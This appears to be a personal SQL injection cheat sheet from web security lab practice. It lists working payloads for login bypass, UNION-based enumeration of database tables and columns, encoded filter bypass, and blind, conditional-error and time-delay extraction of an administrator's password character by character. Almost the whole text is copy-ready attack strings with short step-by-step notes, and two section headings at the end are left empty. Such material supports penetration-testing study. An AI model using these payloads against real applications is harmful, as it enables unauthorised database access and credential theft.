[SQL INJECTION]
DEFAULT TEST ATTEMPTS
REALLY IMPORTANT, ATTEMPT AGAINST ALL HEADERS! DESCRIPTION: List of the normal characters used to test the vulnerability. Can be used on GET:POST "SEARCH/SELECT" Getting errors can represent the presence of the vulnerability. [HTTP/2 500 Internal Server Error] It can be parameters, input fields, etc. C1: ' C2: '' Try with space as well. ' ' C3: " C4: '-- C5: "" C6: '# | | | | | NOTE: It is needed to check the behavior of the application GUI and headers [burpsuite].HIDDEN DATA TECHNIQUES
DESCRIPTION: It will use some boolean conditions in order to retrieve content from the database. If the vulnerability is present the goal is to "close" the query and retrieve all, for that boolean conditions are used. C1: TRUE ' OR 1=1-- C4: TRUE ' OR 1=1# SAMPLE: ' or "1"="1"# SAMPLE: ' or 1=1-- - C2: TRUE ' and 'a'='a-- | ' and/or 'a'='a# C3: FALSE ' and 1=2;--
SAMPLE: ' and 1=1# | | |LOGIN BYPASS TECHNIQUES
DESCRIPTION: It is used to bypass login forms, guessing users or after collecting some of them. SAMPLE: C1: USER'--
DATABASE TYPE/VERSION/NUMBER TECHNIQUES
DESCRIPTION: Techniques used to retrieve the database version, columns number, field type, etc. -- or # | Are used in SQL query language to comment ignoring the rest of the query.
::: PRE-REQS: 1. GET COLUMN NUMBER C1: METHOD ' ORDER BY 1-- C2: METHOD ' UNION SELECT NULL--
|
NOTE: change between "--" and "#" 2. GET FIELD TYPE C1: STRING TEST ' UNION SELECT 'a',NULL,NULL,NULL-- C2: STRING TEST ' UNION SELECT NULL,'a',NULL,NULL-- C3: ORACLE TEST ' UNION SELECT 'a','a' FROM DUAL--
| |
NOTE: It is needed to be iterative so you can find the right field type. For that number of columns is needed. Also, for ORACLE the select statement is needed a table to search from, it can be any table. COMMON TESTS: ORACLE: C1: ' UNION SELECT 'a','a' FROM DUAL-- C2: ' UNION SELECT banner,NULL FROM v$version-- *assuming it has two columns and both are type string. | MYSQL | SQL: C1: ' UNION SELECT @@version,NULL# SAMPLE: ' UNION SELECT NULL,table_name FROM information_schema.tables# *assuming it has two columns and first is type string.
MYSQL FUNCTIONS: SAMPLES:value',(select version()))# SAMPLES:value',(select user()))# DATABASE() CURRENT_USER() POSTGRESQL: SAMPLE: ' UNION SELECT ()version,NULL# SAMPLE: ' and substring((version()),1,1) = '0'# NOTE: You can use version(), user() etc.LISTING DATABASE CONTENT TECHNIQUES
DESCRIPTION: Used to retrieve the name of table, columns, etc. to retrieve content from database.NON-ORACLE
PRE-REQS: 1. get column number 2. get field type *after that information is collected, it is time to retrieve the TABLE_NAME of the database schema. C1: ' UNION SELECT table_name,NULL from information_schema.tables-- *once table is identified, it is time to retrieve the COLUMNS of the table C2: ' UNION SELECT column_name,NULL from information_schema.columns WHERE table_name='TABLE_NAME'-- *once table_name and columns are identified, it is time to retrieve the CONTENT C3: ' UNION SELECT column_name1,column_name2 FROM TABLE_NAME-- | |NOTE: Both ways needs to know the column number, field type and both examples are assuming it has two columns and both type string.ORACLE
::: PRE-REQS: 1. get column number 2. get field type *after that information is collected, it is time to retrieve the TABLE_NAME of the database schema. C1: ' UNION SELECT table_name,NULL from ALL_TABLES-- *once table is identified, it is time to retrieve the COLUMNS of the table C2: ' UNION SELECT column_name,NULL from all_tab_columns WHERE table_name='TABLE_NAME'-- *once table_name and columns are identified, it is time to retrieve the CONTENT C3: ' UNION SELECT column_name1,column_name2 FROM TABLE_NAME-- | |UNION ATTACKS TECHNIQUES
DESCRIPTION: If the vulnerability is present, UNION attacks can be used to retrieve content from other tables. ::: STEP1: GET QUERY COLUMNS NUMBER C1: ' UNION SELECT NULL-- *add null values until the error disappears ::: STEP2: GET COLUMN FIELD TYPE C2: NON-ORACLE ' UNION SELECT NULL,'a'-- C3: ORACLE ' UNION SELECT 'a','a' FROM DUAL-- *assuming two columns ... after those steps, please refer to LISTING DATABASE CONTENT TECHNIQUES, it will apply the same. | | :::: FILTER BYPASS VIA XML ENCODING NOTE:
-First thing to check, headers to see if exist some XML code that is related to the behavior of the request. -If yes, try changing values to see how it behaves. -Try different mathematical expressions to check if input is evaluated. SAMPLE: 1+1 -If expressions are evaluated, it means that possible the vulnerability is present. Try injecting payloads and check results. NOTE: If you get some responses that the request has been blocked, try encoding the payload information. [extension: hackvertor] 1. CHECK COLUMNS 1 UNION SELECT NULL NOTE: If you found only one column, you need to concatenate. || '~' || | 2. RETRIEVE CONTENT SAMPLE: 1 UNION SELECT username || '~' || password FROM users ENCODED SAMPLE: <@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities>BLIND ATTACKS TECHNIQUES
DESCRIPTION: Simple boolean conditions can help to detect how different the site behaves. Look for any new behavior after small changes. Inspect the headers in burpsuite to check if exist something querying the application.CONDITIONAL RESPONSES
C1: TRUE ' AND '1'='1 C2: FALSE ' AND '1'='2 | To successfully acomplish the blind attack, the boolean conditions can help. It is matter of what to ask. ::: CHECK IF TABLE EXIST ? C1: TRUE condition means table exist ! ' AND (SELECT 'a' FROM TABLE_NAME LIMIT 1)='a
::: CHECK IF COLUMN VALUE EXIST ? C1: TRUE ' AND (SELECT 'a' FROM TABLE_NAME WHERE COLUMN_NAME='VALUE')='a SAMPLE: ' AND (SELECT 'a' FROM users WHERE username='administrator')='a NOTE: condition means column value exist ![guess or enumerate] ::: CHECK THE CHARACTER LENGHT OF THE COLUMN VALUE ? C1: ' AND (SELECT 'a' FROM TABLE_NAME WHERE COLUMN_NAME='VALUE' AND LENGTH(COLUMN_NAME)>1)='a SAMPLE: ' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a NOTE: Here a series of incremental query's working with the TRUE statement are needed, once the number reached hits the FALSE statement the lenght is founded. CHECK CHARACTERS VALUE USING A METHOD "GREATHER THAN" AND "EQUALS" ? C1: ' AND SUBSTRING((SELECT COLUMN_NAME FROM TABLE_NAME WHERE COLUMN_NAME = 'VALUE'), 1, 1) > 'value SAMPLE: ' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't "first it needs a TRUE/FALSE behavior [blind sqli identified], if true the first character of the value is greather than the value... C2: ' AND SUBSTRING((SELECT COLUMN_NAME FROM TABLE_NAME WHERE COLUMN_NAME = 'VALUE'), 1, 1) = 's SAMPLE: ' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's ...if TRUE the first character of the value is equals to the value" NOTE: or "SUBSTR" |
::: CHECK THE CHARACTERS OF THE COLUMN ? C1: ' AND (SELECT SUBSTRING(COLUMN_NAME,1,1) FROM TABLE_NAME WHERE COLUMN_NAME='VALUE')='§a§ SAMPLE: ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§ So, it is the same as saying, first character in the value of column_name X is equal to "A". We need to iterate more times with each letter, number, etc. For that reason a pre-req is to know the value lenght. CLUSTER BOMB ATTACK ! - two positions C1: ' AND (SELECT SUBSTRING(COLUMN_NAME,§1§,1) FROM TABLE_NAME WHERE COLUMN_NAME='VALUE')='§a§ NOTE: Remember the TRUE/FALSE logic and the response associated to that. That will help to know which values are correct = TRUE.CONDITIONAL ERRORS
NOTE: [HTTP/2 500 Internal Server Error], error will act similar to the TRUE/FALSE logic. If error appears, FALSE. If not, TRUE. ::: CONFIRM SERVER IS INTERPRETING THE INJECTION AS A SQL QUERY
C1: NON-ORACLE '||(SELECT '')||' C2: ORACLE '||(SELECT '' FROM dual)||' | ::: CONFIRM IF TABLE EXISTS ?
C1: NON-ORACLE '||(SELECT '' FROM TABLE_NAME WHERE ROWNUM = 1)||' SAMPLE: '||(SELECT '' FROM users WHERE ROWNUM = 1)||' NOTE: WHERE ROWNUM = 1 prevents break concatenation. If error is present table does not exist, if not you can infer the table exist. CONDITIONS: ORACLE: C1: TRUE = ERROR '||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' C2: FALSE = NO ERROR '||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' | NOTE: If that's OK, you can trigger an error conditionally on the truth of a specific condition. Now that you know the query is interpreted as SQL query, also, you know that a table exist you can guess users. C3: '||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM TABLE_NAME WHERE COLUMN_NAME='VALUE')||' SAMPLE: '||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' NOTE: Once you have a sql query running, you got a valid user, it is time to try to retrieve the possible password lenght. C4: '||(SELECT CASE WHEN LENGTH(COLUMN_NAME)>1 THEN to_char(1/0) ELSE '' END FROM TABLE_NAME WHERE COLUMN_NAME='VALUE')||' SAMPLE: '||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||' NOTE: This condition should be true, confirming that the password is greater than 1 character in length. Intruder attack until the error dissapears, meaning the final value is the total lenght. SAMPLE: '||(SELECT CASE WHEN LENGTH(password)>2 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||' SAMPLE: '||(SELECT CASE WHEN LENGTH(password)>6 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||' NOTE: Once the total length is discovered, the next step is to try to discover the character at each position. C5: '||(SELECT CASE WHEN SUBSTR(COLUMN_NAME,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM TABLE_NAME WHERE COLUMN_NAME='VALUE')||' SAMPLE: '||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' NOTE: Now it is time of an "INTRUDER" attack to check each position. SAMPLE: '||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'VISIBLE ERROR-BASED
DESCRIPTION: try the different default test attempts, first need a valid syntactically query. You can determine that looking for errors. ::: 1. CREATE A GENERIC SELECT SUBQUERY AND CAST THE RETURNED VALUE TO AN INT DATA TYPE DESCRIPTION: This method can help to retrieve information from other tables with the CAST value logic behind. C1: ' AND CAST((SELECT 1) AS int)--
NOTE: If you get some errors about boolean expressions, you can try another comparison operator. Getting no errors means the query is valid syntax format. C2: ' AND 1=CAST((SELECT 1) AS int)--
C3: ' AND 1=CAST((SELECT COLUMN_NAME FROM TABLE_NAME) AS int)-- SAMPLE: ' AND 1=CAST((SELECT username FROM users) AS int)-- NOTE: If the query now appears to be truncated due to a character limit remove value content to query only the field. C4: ' AND 1=CAST((SELECT COLUMN_NAME FROM TABLE_NAME LIMIT 1) AS int)-- SAMPLE: ' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)-- NOTE: After getting a valid user, you can use the same methodology to leak the password. SAMPLE: ' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--TIME DELAY TECHNIQUES
DESCRIPTION: Techniques used to retrieve data from database, used when there's no visible results, no errors present, etc. However, since the query is executed synchronously, it is possible to trigger conditional time delays get results. ::: 1. IDENTIFY IF TIME DELAY TECHNIQUE CAN BE USED [10 seconds] PER DATABASE ATTEMPT ORACLE: dbms_pipe.receive_message(('a'),10) Microsoft: WAITFOR DELAY '0:0:10' PostgreSQL: SELECT pg_sleep(10) | '||pg_sleep(10)-- MySQL: SELECT SLEEP(10) C1: POSTGRESQL '||pg_sleep(10)-- SAMPLE: '||pg_sleep(10)-- C2: TRUE ';SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END-- C3: FALSE ';SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END-- | | ::: 2. RETRIEVE DATA Pre-reqs: 1. Table name 2. Column name ::: CONFIRM USER C1: ';SELECT CASE WHEN (COLUMN_NAME='VALUE') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM TABLE_NAME-- SAMPLE: ';SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users-- ::: CONFIRM HOW MANY CHARACTERS STORED ON THE COLUMN VALUE FIELD C2: ';SELECT CASE WHEN (COLUMN_NAME='VALUE' AND LENGTH(COLUMN_NAME)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM TABLE_NAME-- SAMPLE: ';SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users-- Send series of requests modifying the character count, SAMPLE: ';SELECT CASE WHEN (username='administrator' AND LENGTH(password)>2) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users-- SAMPLE: ';SELECT CASE WHEN (username='administrator' AND LENGTH(password)>18) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users-- ::: CONFIRM CHARACTER VALUE ITERATING POSITIONS C3: ';SELECT CASE WHEN (COLUMN_NAME='VALUE' AND SUBSTRING(COLUMN_NAME,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM TABLE_NAME-- SAMPLE: ';SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users-- NOTE: using substring() functions can help to extract a single character to compare it. SAMPLE: ';SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,§1§,1)='§a§') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users-- CLUSTER BOMB ATTACK!!OUT-OF-BAND TECHNIQUES
DESCRIPTION:ERROR-BASED TECHNIQUES
DESCRIPTION:
©® - Since 2023